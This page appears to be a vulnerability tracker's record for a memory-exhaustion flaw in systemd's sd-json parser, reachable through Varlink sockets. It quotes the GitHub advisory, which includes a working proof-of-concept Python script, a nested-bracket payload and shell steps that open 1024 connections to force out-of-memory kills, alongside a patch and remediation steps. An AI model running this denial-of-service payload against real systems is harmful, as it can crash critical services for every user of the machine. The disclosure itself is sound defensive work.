Read the docs

Memory exhaustion in systemd Varlink services from crafted messages

Priority LOW 31CWE-770Published · Updated

Key facts

Attack vector
Local
Privileges required
Low
User interaction
None
Attack complexity
Low
Impact type
Denial of service
Confidentiality · integrity · availability
None · None · Low
Fix status
Fixed

Attack profile from CVSS 3.1 · GHSA-5rm9-cc37-35gq. Fix status from GitHub. Impact type from CWE-770.

Summary

systemd versions 243 and later are affected until the fixed releases. The JSON parser in libsystemd's sd-json module keeps growing its parsing stack for each nested opening bracket without any limit (CWE-770). A crafted message sent to a Varlink service causes large memory consumption, and an unprivileged local user can send such a message to services that accept unprivileged access.

Written with Claude Haiku 5.5 from the sources below · 2026-11-12

Description from the GitHub advisory

### Impact Varlink services can be subject to a maliciously crafted message causing large memory consumption due to an issue in libsystemd's `sd-json` module. Some of these services are accessible to unprivileged users. ### Patches v261 (https://github.com/systemd/systemd/commit/1016dd315f94917cd0818a90bc09c99ef76ab556) v260.2 (https://github.com/systemd/systemd/commit/23bb1e8555fd92162ce10b0b394f79d69f39f404) v259.6 (https://github.com/systemd/systemd/commit/958aefc3a5b23850b868190dc693e6f735309ecb) v258.8 (https://github.com/systemd/systemd/commit/de6adcc29c16d9a25d7522344966d312a9831a60) ### Workarounds Disable unprivileged access to the varlink sockets under `/run/systemd/` ### References Original report follows below ## Description The JSON parser in `sd-json.c` uses a heap-allocated `JsonStack` array that grows without bound as nested `[` or `{` tokens are encountered during parsing. The existing `DEPTH_MAX = 2048` guard only prevents the *output* variant tree from exceeding 2048 levels (checked on closing `]`/`}` tokens), but does NOT limit the parsing stack depth during tokenization of opening brackets. Because systemd varlink services accept messages up to `VARLINK_BUFFER_MAX = 16 MB`, a client can send a message containing ~16 million nested `[` tokens. Each token causes a 40-byte `JsonStack` entry to be pushed, resulting in ~640 MB of heap allocation from a 16 MB input (i.e. a 40× memory amplification exploitable by any unprivileged local user). ### Impacted function **File:** `src/libsystemd/sd-json/sd-json.c`, lines 3170–3202 ```c // Line 3036: parsing stack with no depth limit size_t n_stack = 1; JsonStack *stack = NULL; // JSON_TOKEN_ARRAY_OPEN handling has no depth check before GREEDY_REALLOC case JSON_TOKEN_ARRAY_OPEN: if (!IN_SET(current->expect, EXPECT_TOPLEVEL, EXPECT_OBJECT_VALUE, EXPECT_ARRAY_FIRST_ELEMENT, EXPECT_ARRAY_NEXT_ELEMENT)) { r = -EINVAL; goto finish; } if (!GREEDY_REALLOC(stack, n_stack+1)) { /* grows unbounded, no DEPTH_MAX check */ r = -ENOMEM; goto finish; } stack[n_stack++] = (JsonStack) { /* push without limit */ .expect = EXPECT_ARRAY_FIRST_ELEMENT, ... }; break; ``` The `DEPTH_MAX = 2048` check lives in `json_variant_array_put_element()` at line 575, which is only reached when a closing `]` creates a variant node (and NOT during opening-bracket tokenization). The `JsonStack` struct is 40 bytes: ```c typedef struct JsonStack { JsonExpect expect; // 4 bytes /* padding */ // 4 bytes sd_json_variant **elements; // 8 bytes size_t n_elements; // 8 bytes unsigned line_before; // 4 bytes unsigned column_before; // 4 bytes size_t n_suppress; // 8 bytes } JsonStack; // 40 bytes total ``` **File:** `src/libsystemd/sd-varlink/sd-varlink.c`, line 1012 ```c #define VARLINK_BUFFER_MAX (16U*1024U*1024U) /* line 47: 16 MB input cap */ /* line 1012: parses up to 16 MB of attacker-controlled JSON */ r = sd_json_parse(begin, SD_JSON_PARSE_MUST_BE_OBJECT, &v->current, ...); ``` **Attack payload:** `{"a":` + `[` × 16,777,205 + `\x00` (16 MB total) 1. `{` pushes stack entry (n_stack = 2) 2. `"a":` sets up object key/value 3. Each `[` pushes another stack entry (n_stack grows to ~16M) 4. Tokenizer reaches end-of-input, parse fails with -EINVAL 5. Stack is freed at `finish:` label but 640 MB was already allocated Per-UID connection limit is 1024 (`VARLINK_DEFAULT_CONNECTIONS_PER_UID_MAX`). Theoretical peak: 1024 × 640 MB = 640 GB (OOM killer intervenes much sooner, potentially killing critical system services). ### Impacted version Commit da69848 (HEAD of main branch). All versions of `json_parse_internal()` containing unbounded stack growth are affected. ## Proof of Concept ### Prerequisites ```bash # Ensure running as unprivileged local user (i.e. non-zero uid) id # Check varlink socket is accessible (srw-rw-rw-) ls -la /run/systemd/resolve/io.systemd.Resolve # Record baseline PID and memory pidof systemd-resolved grep -E "VmRSS|VmHWM" /proc/$(pidof systemd-resolved)/status ``` ### Steps ```bash # Single connection to demonstrate 40× amplification python3 json-stack-amplification.py # Check VmHWM (high water mark) after PoC completes grep VmHWM /proc/$(pidof systemd-resolved)/status # VmHWM should show ~640 MB (40× the 16 MB input) ``` ```bash # Multiple connections — triggers OOM crash # Adjust connection count based on available RAM (each buffers ~16 MB server-side) python3 json-stack-amplification.py 1024 # To watch memory spike in real-time (run in SEPARATE terminal) watch -n0.1 'grep VmHWM /proc/$(pidof systemd-resolved)/status' # Confirm OOM kill dmesg | grep -i "oom-kill" # PID should differ from baseline — service was killed and auto-restarted pidof systemd-resolved ``` ### PoC script `json-stack-amplification.py` constructs and sends the amplification payload (simplified for understanding): ```python import socket, struct # Craft payload: {"a": followed by 16M '[' tokens, NUL-terminated VARLINK_BUFFER_MAX = 16 * 1024 * 1024 prefix = b'{"a":' payload = prefix + b'[' * (VARLINK_BUFFER_MAX - len(prefix) - 1) + b'\x00' sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) sock.connect('/run/systemd/resolve/io.systemd.Resolve') sock.send(payload) # Target process now holds ~640 MB heap during parse ``` ## Risks A single unprivileged local user can exhaust system memory by connecting to any varlink service (systemd-resolved, userdb, logind) and sending 16 MB deeply nested JSON messages. This triggers the OOM killer, which may terminate critical system services. ## Suggested fix Add a depth check on the parsing stack in `json_parse_internal()` before pushing a new entry: ```c case JSON_TOKEN_ARRAY_OPEN: ... + if (n_stack >= DEPTH_MAX) { + r = -ELNRNG; + goto finish; + } if (!GREEDY_REALLOC(stack, n_stack+1)) { ``` Apply the same guard to `JSON_TOKEN_OBJECT_OPEN` handling. This aligns the parsing stack limit with the existing output variant depth limit (`DEPTH_MAX = 2048`), preventing the amplification while still allowing valid deeply-nested JSON up to 2048 levels.

Why it matters now

Fix Fixed systemd (systemd): 261 260.2 259.6 258.8

SSVC decision points

Not available: CISA has not published SSVC decision points for this record.

Affected products

VendorProductAffected versionsFixed inStatusSource
—systemd (systemd)>= 243261 260.2 259.6 258.8Patch availableGHSA-5rm9-cc37-35gq
  • systemd (systemd) Vendor— Affected >= 243 Fixed in 261 260.2 259.6 258.8 Patch available GHSA-5rm9-cc37-35gq

Remediation

Upgrade to systemd 261, 260.2, 259.6 or 258.8, using the fixed release on your branch. Until then, disable unprivileged access to the Varlink sockets under /run/systemd/.

Written with Claude Haiku 5.5 from the sources below · 2026-11-12

  • Fix · GHSA-5rm9-cc37-35gq systemd (systemd) Fixed in 261 260.2 259.6 258.8 Advisory →

Timeline

  1. 2026-11-12 Threatist record created from GHSA-5rm9-cc37-35gq

References

Sources

This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences